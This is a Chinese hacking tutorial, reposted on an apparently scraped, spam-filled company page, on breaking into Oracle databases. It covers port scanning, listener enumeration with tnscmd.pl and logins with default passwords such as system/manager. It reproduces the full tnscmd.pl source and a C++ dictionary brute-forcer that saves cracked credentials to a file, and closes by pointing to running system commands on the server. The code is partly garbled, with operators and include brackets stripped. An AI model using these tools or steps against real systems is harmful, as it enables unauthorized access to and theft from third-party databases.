濮阳杆衣贸易有限公司

主頁 > 知識庫 > 入侵oracle數(shù)據(jù)庫的一些技巧

入侵oracle數(shù)據(jù)庫的一些技巧

熱門標簽:交行外呼系統(tǒng)有哪些 防城港市ai電銷機器人 怎么更改地圖標注電話 激戰(zhàn)黃昏地圖標注說明 臨滄移動外呼系統(tǒng)哪家有 隨州銷售外呼系統(tǒng)平臺 寧夏保險智能外呼系統(tǒng)哪家好 溫嶺代理外呼系統(tǒng) 不同的地圖標注
軟件作者:pt007[at]vip.sina.com版權所有,轉(zhuǎn)載請注明版權
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
一、先看下面的一個貼子:

    Oracle數(shù)據(jù)庫是現(xiàn)在很流行的數(shù)據(jù)庫系統(tǒng),很多大型網(wǎng)站都采用Oracle,它之所以倍受用戶喜愛是因為它有以下突出的特點: 

1、支持大數(shù)據(jù)庫、多用戶的高性能的事務處理。Oracle支持最大數(shù)據(jù)庫,其大小可到幾百千兆,可充分利用硬件設備。支持大量用戶同時在同一數(shù)據(jù)上執(zhí)行各種數(shù)據(jù)應用,并使數(shù)據(jù)爭用最小,保證數(shù)據(jù)一致性。系統(tǒng)維護具有高的性能,Oracle每天可連續(xù)24小時工作,正常的系統(tǒng)操作(后備或個別計算機系統(tǒng)故障)不會中斷數(shù)據(jù)庫的使用??煽刂茢?shù)據(jù)庫數(shù)據(jù)的可用性,可在數(shù)據(jù)庫級或在子數(shù)據(jù)庫級上控制。

2、Oracle遵守數(shù)據(jù)存取語言、操作系統(tǒng)、用戶接口和網(wǎng)絡通信協(xié)議的工業(yè)標準。所以它是一個開放系統(tǒng),保護了用戶的投資。美國標準化和技術研究所(NIST)對Oracle7 SERVER進行檢驗,100%地與ANSI/ISO SQL89標準的二級相兼容。

3、實施安全性控制和完整性控制。Oracle為限制各監(jiān)控數(shù)據(jù)存取提供系統(tǒng)可靠的安全性。Oracle實施數(shù)據(jù)完整性,為可接受的數(shù)據(jù)指定標準。

4、支持分布式數(shù)據(jù)庫和分布處理。Oracle為了充分利用計算機系統(tǒng)和網(wǎng)絡,允許將處理分為數(shù)據(jù)庫服務器和客戶應用程序,所有共享的數(shù)據(jù)管理由數(shù)據(jù)庫管理系統(tǒng)的計算機處理,而運行數(shù)據(jù)庫應用的工作站集中于解釋和顯示數(shù)據(jù)。通過網(wǎng)絡連接的計算機環(huán)境,Oracle將存放在多臺計算機上的數(shù)據(jù)組合成一個邏輯數(shù)據(jù)庫,可被全部網(wǎng)絡用戶存取。分布式系統(tǒng)像集中式數(shù)據(jù)庫一樣具有透明性和數(shù)據(jù)一致性。

具有可移植性、可兼容性和可連接性。由于Oracle軟件可在許多不同的操作系統(tǒng)上運行,以致Oracle上所開發(fā)的應用可移植到任何操作系統(tǒng),只需很少修改或不需修改。Oracle軟件同工業(yè)標準相兼容,包括很多工業(yè)標準的操作系統(tǒng),所開發(fā)應用系統(tǒng)可在任何操作系統(tǒng)上運行??蛇B接性是指ORALCE允許不同類型的計算機和操作系統(tǒng)通過網(wǎng)絡可共享信息。

雖然Oracle數(shù)據(jù)庫具有很高的安全性,但是如果我們在配置的時候不注意安全意識,那么也是很危險的。也就是說,安全最主要的還是要靠人自己,而不能過分依賴軟件來實現(xiàn)。

我們知道,在mssql中,安裝完成后默認有個sa的登陸密碼為空,如果不更改就會產(chǎn)生安全漏洞。那么oracle呢?也有的。為了安裝和調(diào)試的方便,Oracle數(shù)據(jù)庫中的兩個具有DBA權限的用戶Sys和System的缺省密碼是manager。筆者發(fā)現(xiàn)很多國內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網(wǎng)站, 我們就可以利用這個缺省密碼去找我們感興趣的東西。如何實現(xiàn),看下面的文章吧。

進行測試前我們先來了解一些相關的知識,我們連接一個Oracle數(shù)據(jù)庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數(shù)據(jù)庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這里我們先講講oracle的TNS listener,它位于數(shù)據(jù)庫Client和數(shù)據(jù)庫Server之間,默認監(jiān)聽1521端口,這個監(jiān)聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程oracle數(shù)據(jù)庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態(tài)和數(shù)據(jù)庫服務名,而且正確率很高。

理論方面的講完了,如果還有什么不懂的可以去查找相關資料。現(xiàn)在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件, Tnscmd.pl。

我們先用Superscan掃描開放了端口1521的主機,假設其IP是xx.xx.110.110,這樣目標已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來查詢遠程數(shù)據(jù)庫的服務名了,Tnscmd.pl的用法如下:

 C:perlbin>perl tnscmd.pl

usage: tnscmd.pl [command] -h hostname

where 'command' is something like ping, version, status, etc.

(default is ping)

[-p port] - alternate TCP port to use (default is 1521)

[--logfile logfile] - write raw packets to specified logfile

[--indent] - indent  outdent on parens

[--rawcmd command] - build your own CONNECT_DATA string

[--cmdsize bytes] - fake TNS command size (reveals packet leakage) 


我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發(fā)掘吧。

然后我們就這樣來:

 C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent

sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521

writing 91 bytes

reading

._.......6.........?. ..........

DESCRIPTION=

TMP=

VSNNUM=135286784

ERR=0

SERVICES_EXIST=1

.Q........

SERVICE=

SERVICE_NAME=ORCL

INSTANCE=

INSTANCE_NAME=ORCL

NUM=1

INSTANCE_CLASS=ORACLE

HANDLER=

HANDLER_DISPLAY=DEDICATED SERVER

STA=ready

HANDLER_INFO=LOCAL SERVER

HANDLER_MAXLOAD=0

HANDLER_LOAD=0

ESTABLISHED=447278

REFUSED=0

HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

HANDLER_NAME=DEDICATED

ADDRESS=

PROTOCOL=beq

PROGRAM=/home/oracle/bin/oracle

ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

ARGV0=oracleORCL

ARGS='

LOCAL=NO

'

.........@ 


從上面得到的信息我們可以看出數(shù)據(jù)庫的服務名為ORCL,然后我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的。如下:

 C:oracleora90BIN>sqlplus /nolog

SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002

(c) Copyright 2001 Oracle Corporation. All rights reserved.

SQL>connect system/manager@

(description=(address_list=(address=(protocol=tcp)

(host=xx.xx.110.110)(port=1521)))

(connect_data=(SERVICE_NAME=ORCL))); 

如果密碼正確,那么就會提示connected,如果不行,再換別的默認用戶名和密碼。經(jīng)過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經(jīng)把默認密碼改了,那我們只能換別的目標了。但是我發(fā)現(xiàn)很多都是不改的,這個就是安全意識的問題了。


二、上面提到的兩個小軟件:
tnscmd.pl

Copy code
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86  OpenBSD Sparc + perl5
#
# Initial cruft: [email]jwa@jammed.com[/email]  5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see also: 
#    [url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html[/url]
#    [url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818[/url] 
#    [url]http://otn.oracle.com/deploy/security/alerts.htm[/url]
#    [url]http://xforce.iss.net/alerts/advise66.php[/url] 
#
# GPL'd, of course.  [url]http://www.gnu.org/copyleft/gpl.html[/url]
#
# $Log: tnscmd,v $
# Revision 1.3  2001/04/26 06:45:48  jwa
# typo in url.  whoops.
#
# Revision 1.2  2001/04/26 06:42:17  jwa
# complete rewrite
#  - use IO::Socket instead of tcp_open
#  - got rid of pdump()
#  - put packet into @list and build it with pack()
#  - added --indent option
#
#

use IO::Socket;
use strict;        # a grumpy perl interpreter is your friend

select(STDOUT);$|=1;

#
# process arguments
#

my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg);

while ($arg = shift @ARGV) {
    $main::hostname = shift @ARGV if ($arg eq "-h");
    $main::port = shift @ARGV if ($arg eq "-p");
    $main::logfile = shift @ARGV if ($arg eq "--logfile");
    $main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
    $main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
    $main::indent = 1 if ($arg eq "--indent");
    $main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
    $main::rawout = shift @ARGV if ($arg eq "--rawout");
}

if ($main::hostname eq "") {
    print _EOF_;
usage: $0 [command] -h hostname
      where 'command' is something like ping, version, status, etc.  
      (default is ping)
      [-p port] - alternate TCP port to use (default is 1521)
      [--logfile logfile] - write raw packets to specified logfile
      [--indent] - indent  outdent on parens
      [--rawcmd command] - build your own CONNECT_DATA string
      [--cmdsize bytes] - fake TNS command size (reveals packet leakage)
_EOF_
    exit(0);
}

# with no commands, default to pinging port 1521

$cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical


#
# main
#

my ($command);

if (defined($main::rawcmd))
{
    $command = $main::rawcmd;
}
else
{    
    $command = "(CONNECT_DATA=(COMMAND=$cmd))";    
}


my $response = tnscmd($command);
viewtns($response);
exit(0);


#
# build the packet, open the socket, send the packet, return the response
#

sub tnscmd
{
    my ($command) = shift @_;
    my ($packetlen, $cmdlen);
    my ($clenH, $clenL, $plenH, $plenL);
    my ($i);

    print "sending $command to $main::hostname:$main::port\n";

    if ($main::fakecmdsize ne "") 
    {
        $cmdlen = $main::fakecmdsize;
        print "Faking command length to $cmdlen bytes\n";
    } 
    else 
    {    
        $cmdlen = length ($command);
    }

    $clenH = $cmdlen >> 8;
    $clenL = $cmdlen  0xff;

    # calculate packet length

    if (defined($main::fakepacketsize)) 
    {
        print "Faking packet length to $main::fakepacketsize bytes\n";
        $packetlen = $main::fakepacketsize;
    } 
    else 
    {    
        $packetlen = length($command) + 58;    # "preamble" is 58 bytes
    }

    $plenH = $packetlen >> 8;
    $plenL = $packetlen  0xff;

    $packetlen = length($command) + 58 if (defined($main::fakepacketsize));

    # decimal offset
    # 0:  packetlen_high packetlen_low 
    # 26:  cmdlen_high cmdlen_low
    # 58:  command

    # the packet.

    my (@packet) = (
        $plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
        0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
        0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
        $clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00
        );


    for ($i=0;$ilength($command);$i++)    
    {
        push(@packet, ord(substr($command, $i, 1)));
    }    

    my ($sendbuf) = pack("C*", @packet);

    print "connect ";
    my ($tns_sock) = IO::Socket::INET->new( 
        PeerAddr => $main::hostname, 
        PeerPort => $main::port, 
        Proto => 'tcp', 
        Type => SOCK_STREAM, 
        Timeout => 30) || die "connect to $main::hostname failure: $!";
    $tns_sock->autoflush(1);

    print "\rwriting " . length($sendbuf) . " bytes\n";

    if (defined($main::logfile)) 
    {
        open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
        print SEND $sendbuf || die "write to logfile failed: $!";
        close(SEND);
    }    

    my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));

    if ($count != length($sendbuf))
    {
        print "only wrote $count bytes?!";
        exit 1;
    }    

    print "reading\n";

    # get fun data
    # 1st 12 bytes have some meaning which so far eludes me

    if (defined($main::logfile)) 
    {
        open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
    }    

    my ($buf, $recvbuf);

    # read until socket EOF
    while (sysread($tns_sock, $buf, 128))
    {
        print REC $buf if (defined($main::logfile));
        $recvbuf .= $buf;
    }
    close (REC) if (defined($main::logfile));
    close ($tns_sock);
    return $recvbuf;
}


sub viewtns
{
    my ($response) = shift @_;

    # should have a hexdump option . . .

    if ($main::raw)
    {
        print $response;
    } 
    else
    {
        $response =~ tr/\200-\377/\000-\177/;    # strip high bits
        $response =~ tr/\000-\027/\./;
        $response =~ tr/\177/\./;

        if ($main::indent)
        {
            parenify($response);
        } 
        else
        {
            print $response;
        }
        print "\n";
    }    
}    


sub parenify
{
    my ($buf) = shift @_;
    my ($i, $c);
    my ($indent, $o_indent);

    for ($i=0;$ilength($buf);$i++) 
    {
        $c = substr($buf, $i, 1);
        $indent++ if ($c eq "(");
        $indent-- if ($c eq ")");
        if ($indent != $o_indent)
        {
            print "\n" unless(substr($buf, $i+1, 1) eq "(");
            print "  " x $indent;
            $o_indent = $indent;
            undef $c;
        }    
        print $c;
    }
}    





Copy code
/*用鏈表實現(xiàn)的oracle密碼暴破程序,需要在本地安裝oralce*/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include windows.h>
#include Tchar.h>
#endif
#include winsock2.h>    
#include stdio.h>
#include stdlib.h>
#include lmcons.h>
#include winnetwk.h>
#include time.h>
#include stdlib.h>
#include stdlib.h>
#include iostream> 
#include occi.h> 


#pragma comment(lib, "oraocci9.lib") //鏈接到oraocci9.lib庫
//#pragma comment(lib, "msvcrt.lib")
#pragma comment(lib, "msvcprt.lib")
//鏈接到WS2_32.LIB庫:
#pragma comment(lib, "Ws2_32.lib")
//#pragma comment(lib, "liboracle.lib")

char target[40]= {0};//目標服務器
char port[40]={0};//SQL端口號
char db[40]={0};//數(shù)據(jù)庫名

//定義鏈表:
typedef struct PassNode{
    TCHAR password[100];
    struct PassNode * Next;
} PassInfo;

typedef struct NameNode{
    TCHAR Name[100];
    struct NameNode * Next;
}NameInfo; //定義NameInfo來表示NameNode結構

//
//函數(shù)SQLCheck
//功能:嘗試用不同密碼連接SQL Server,探測出正確的密碼
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
  //定義局部變量
  char szBuffer[1025]= {0};
  char *pwd=NULL,*UserName=NULL;
  char DataBase[255]={0};
  //char *user=NULL;
  //取得傳遞過來準備探測的密碼
  pwd=(char *)pPwd;
  UserName=(char *)uUserName;
  //DataBase=(char *)db;
  sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
  //printf("DataBase=%s\n",DataBase);
  using namespace std; 
using namespace oracle::occi; 

Environment * env=Environment::createEnvironment(Environment::DEFAULT); 

try{ 
Connection *conn=env->createConnection(UserName,pwd,(char *)DataBase); 
if (conn) 
{        printf("\n");
      cout  "SUCCESS - createConnection"  endl;

      //連接遠程oracle Server數(shù)據(jù)庫成功
        return 1;
}
    else 
      cout  "FAILURE - createConnection"  endl; 
      return 0;

/*Statement*stmt=conn->createStatement("select * from emp"); 
ResultSet * rset=stmt->executeQuery(); 
while (rset->next()) { 
  cout"the empno is:"rset->getInt(1)endl; 
  cout"the ename is:"rset->getString(2)endl; 

} */
//stmt->closeResultSet (rset); 
// conn->terminateStatement (stmt); 
env->terminateConnection (conn); 

}catch(SQLException ex) 


  //printf("\n");
  coutex.getMessage(); 
  return 0;


Environment::terminateEnvironment(env);
return 0;


}




void usage(){

    printf("name:oracle password crack v 1.0\n");
    printf("author:pt007@vip.sina.com\n\n");
    fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
    printf("options:\n"
                  "\t-x port      specify the port of oracle\n"
                  "\t-u username  specify the username of oracle\n"
                // "\t-p password  specify the password of oracle\n"
                  "\t-d dict      specify the dictionary\n"
                  "\t-i database  specify the database's name\n"
                  //"\t-a automode  automatic crack the oracle password \n"
                  //"\tNote: when u use the -a option, named the username dict user.dic\n"
                // "\t  password dict pass.dic\n"
          );
    printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");

    exit(1);

}

//創(chuàng)建密碼鏈表:
PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){ 

      /* read data from password dictionary, init the link */
      TCHAR * szTempPass = NULL;
      PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
                                *s point to the current node*/
      int i; /* counter*/

  //分配內(nèi)存空間在內(nèi)存的動態(tài)存儲區(qū)中分配一塊長度為"sizeof(PassInfo)"字節(jié)的連續(xù)區(qū)域,函數(shù)的返回值為該區(qū)域的首地址:
      if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL ) 
      {
          fprintf(stderr, "malloc failed %d", GetLastError());
          exit(0);
      } /* create the head node */

      /* init the head node*/
      h->Next = NULL;
      p = h;

      for ( i=0; i  NodeNum; i ++) //下面是建立鏈表,每個密碼對應一個結點:
      {  //按sizeof(TCHAR)的長度分配100塊連續(xù)的區(qū)域,并把指向TCHAR類型指針的首地址賦予指針變量szTempPass
          szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
          ZeroMemory(szTempPass, 100);

          if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
          {
              fprintf(stderr, "malloc failed %d", GetLastError());
              exit(0);
          }

            memset(s->password, '\0', 100);
            fgets(szTempPass, 100, DictFile);
            strncpy(s->password, szTempPass, strlen(szTempPass)-1);
            s->Next =NULL; //刪除一個結點
            p->Next = s;//鏈表指針指向下一個結構地址
            p = s;//下一個結構的數(shù)據(jù)域賦值

          free(szTempPass);//釋放內(nèi)存空間

      }

      return h;//返回鏈表的頭結點,它存放有第一個結點的首地址,沒有數(shù)據(jù)

}


//創(chuàng)建用戶名鏈表:
NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){ 

      /* read data from password dictionary, init the link */
      TCHAR * szTempName = NULL;
      NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
                                *s point to the current node*/
      int i; /* counter*/

    //分配內(nèi)存空間在內(nèi)存的動態(tài)存儲區(qū)中分配一塊長度為"sizeof(NameInfo)"字節(jié)的連續(xù)區(qū)域,函數(shù)的返回值為該區(qū)域(此處為NameInfo結構的首地址)的首地址:                                        :
      if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
      {
          fprintf(stdout, "malloc failed %d", GetLastError());
          exit(0);
      } /* create the head node */

      /* init the head node*/
      h->Next = NULL; //刪除下一個結點
      p = h; //p里面目前指向頭結點

      for ( i=0; i  NodeNum; i ++)
      {//按sizeof(TCHAR)的長度分配100塊連續(xù)的區(qū)域,并把指向TCHAR類型指針的首地址賦予指針變量szTempPass:
          szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
          ZeroMemory(szTempName, 100);//字符串類型變量清0

          if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
          {
              fprintf(stdout, "malloc failed %d", GetLastError());
              exit(0);
          }

            memset(s->Name, '\0', 100);
            fgets(szTempName, 100, DictFile);
            strncpy(s->Name, szTempName, strlen(szTempName)-1);
            s->Next =NULL;
            p->Next = s;//p指向下一個結點的地址
            p = s;//下一個結構的數(shù)據(jù)域賦值

          free(szTempName);

      }

      return h;




int LineCount(FILE * fd) //返回字典中的密碼數(shù)量
{
    int countline = 0;
    char data[100] = {0};//字符數(shù)組清0

    while (fgets(data, 100, fd))//從指定的文件中讀一個字符串到字符數(shù)組中
        countline++;

    rewind(fd);//指針返回到文件起始處

    return countline;

}

BOOL IsPortOpen(char * address, int port)
{
    int recv = 1;
    WSADATA wsadata;
    int fd;
    struct sockaddr_in clientaddress;
    struct hostent * host1;
    BOOL Result = FALSE;
    struct timeval timer4;
    fd_set writefd; //檢查數(shù)據(jù)是否可寫
    ULONG value = 1;
    //初使化winsock版本1.1:
    recv = WSAStartup(MAKEWORD(1,1), wsadata);

    if(recv != 0) 
    {
        printf("init failed %d.\n",WSAGetLastError());
        return(0);
    }

    if ( LOBYTE( wsadata.wVersion ) != 1 || 
        HIBYTE( wsadata.wVersion ) != 1 ) { 
    /* Tell the user that we couldn't find a useable */ 
    /* winsock.dll. */ 
        WSACleanup(); 
        return(0); 
    }
  //創(chuàng)建socket套接字連接:
    fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(fd  0)
    {

          printf("[-] Create socket error %d. \n",WSAGetLastError());
          return(0);
    }
    //將套接字fd設為非阻塞模式的方法:
    ioctlsocket(fd,FIONBIO,value);

    if (!(host1 = gethostbyname(address))){
        printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
        return(0);
    }

    memset(clientaddress, 0, sizeof(struct sockaddr));
    clientaddress.sin_family =AF_INET;//Ipv4地址族
    clientaddress.sin_port = htons((unsigned short)port);
    clientaddress.sin_addr = *((struct in_addr *)host1->h_addr);

    timer4.tv_sec = 5;//以秒為單位指定等待時間
    timer4.tv_usec = 0;

    FD_ZERO(writefd);
    FD_SET(fd,writefd); //將套接字fd增添到writefd寫集合中進行測試

    recv = connect(fd, (struct sockaddr *)clientaddress, sizeof(struct sockaddr));

    if( FD_ISSET(fd, writefd))
    {
      recv = select(fd+1, NULL, writefd, NULL, timer4);//測試5秒鐘內(nèi)是否有數(shù)據(jù)寫入

      if( recv > 0 ) 
          Result = TRUE;
    }

    closesocket(fd);
    WSACleanup();

    return Result;

}


int main(int argc, char **argv)
{

  PassInfo * head, * curr = NULL;
  NameInfo * headnode, * currnode = NULL;
  int namecount = 0, passcount = 0; 

/////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
  //參數(shù)不為8個的時候打印幫助
      if(argc != 10)
          usage();

  if (argc == 10)
  {
      if ( strcmpi(argv[2], "-x") )
          usage();

      if ( strcmpi(argv[4], "-u") )
                      usage();

      if ( strcmpi(argv[6], "-d") )
              usage();  
    if ( strcmpi(argv[8], "-i") )
          usage();

  }



/* determinate whether the oracle port is open */
  if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
  {
      printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
      exit(0);
  }


////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
//////////////////////////////////////////////////////////////////////////////////////////////

  //取得目標地址和端口號:
  strcpy(target,argv[1]);
  strcpy(port,argv[3]);
  strcpy(db,argv[9]);

  if ( !strcmpi(argv[4], "-u"))
  {
      /* open the password dictionary */

      FILE * passdic = NULL;
      if ( (passdic = fopen(argv[7], "r")) ==NULL){
          fprintf(stdout, "Can't open the password dictionary\n");
          exit(0);
      }

      

      /* count line of name dictionary */

      passcount = LineCount(passdic); //計算密碼的數(shù)量
      head = Create_Pass_link(passcount, passdic);  /* create the password link */
      curr = head ->Next; //指向第一個結點

      /* open the password dictionary */

      FILE * Namedict = NULL;
      if ( (Namedict = fopen(argv[5], "r")) ==NULL){
          fprintf(stderr, "Can't open the name dictionary\n");
          exit(0);
      }

      /*密碼最終保存文件*/
    FILE *passtxt=NULL;
    if ( (passtxt = fopen("pass.txt", "at+")) ==NULL){
          fprintf(stdout, "Can't write pass.txt file!\n");
          exit(0);
      }

      /* count line of name dictionary */

          namecount = LineCount(Namedict);//計算用戶名數(shù)量
      headnode = Create_Name_link(namecount, Namedict);  /* create user link */
      currnode = headnode->Next;

      int j=0,i=1;
    while(currnode!=NULL) //為NULL表示姓名鏈表結束
    {
        printf("\n開始第%d位用戶%s測試:\n",++j,currnode->Name);
      while(curr != NULL) //為NULL表示密碼鏈表結束
      {
          printf("Now cracking %s->%s    \n", currnode->Name, curr->password);
          fflush(NULL);
          int Cracked=0;
          Cracked=SQLCheck(curr->password,currnode->Name);
          if ( Cracked==1 )
          {  
              printf("%d.Successfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
              fseek(passtxt, 0L, SEEK_END);//移動到文件尾部
              fprintf(passtxt,"%d.Successfully:oracle server %s's username [%s] password [%s]\r\n",i++,target,currnode->Name, curr->password);
              //exit(0);發(fā)現(xiàn)一個密碼就退出
              break;
          }
          curr = curr->Next;//移動到下一個結點
          Sleep(100);//暫停100ms,即0.1s

      } /* starting crack the oracle password*/
        currnode = currnode->Next;
    curr = head ->Next; //移到密碼鏈表的第一個結點
    }
      printf("\n\n密碼猜解結束:\n本次共猜解了%d位用戶,%d個密碼!\n",namecount,passcount);
      printf("請使用\"type pass.txt\"來查看當前目錄下的pass.txt文件!\n");
      fprintf(passtxt,"\r\n\r\n");
      fclose(passdic);
      fclose(Namedict);
      fclose(passtxt);
      free(head);


  }



  return 0;

}
三、利用弱口令進行入侵:
C:\&;sqlplus /nolog
SQL> connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));

然后利用Oracle Execute Command Sql Script來執(zhí)行系統(tǒng)命令

標簽:哈密 無錫 河源 沈陽 阜陽 紅河 青海 忻州

巨人網(wǎng)絡通訊聲明:本文標題《入侵oracle數(shù)據(jù)庫的一些技巧》,本文關鍵詞  入侵,oracle,數(shù)據(jù)庫,的,一些,;如發(fā)現(xiàn)本文內(nèi)容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《入侵oracle數(shù)據(jù)庫的一些技巧》相關的同類信息!
  • 本頁收集關于入侵oracle數(shù)據(jù)庫的一些技巧的相關信息資訊供網(wǎng)民參考!
  • 推薦文章
    泰州市| 白沙| 广昌县| 黑河市| 门源| 靖边县| 太谷县| 武城县| 凤山县| 临城县| 射阳县| 夏邑县| 神木县| 安泽县| 手机| 章丘市| 阿克苏市| 清水河县| 东台市| 徐闻县| 民和| 怀仁县| 巴林左旗| 平邑县| 新蔡县| 庄浪县| 工布江达县| 南靖县| 吉安市| 建湖县| 焉耆| 平江县| 怀化市| 辽宁省| 五河县| 类乌齐县| 沂水县| 许昌县| 涿鹿县| 鹰潭市| 汶上县|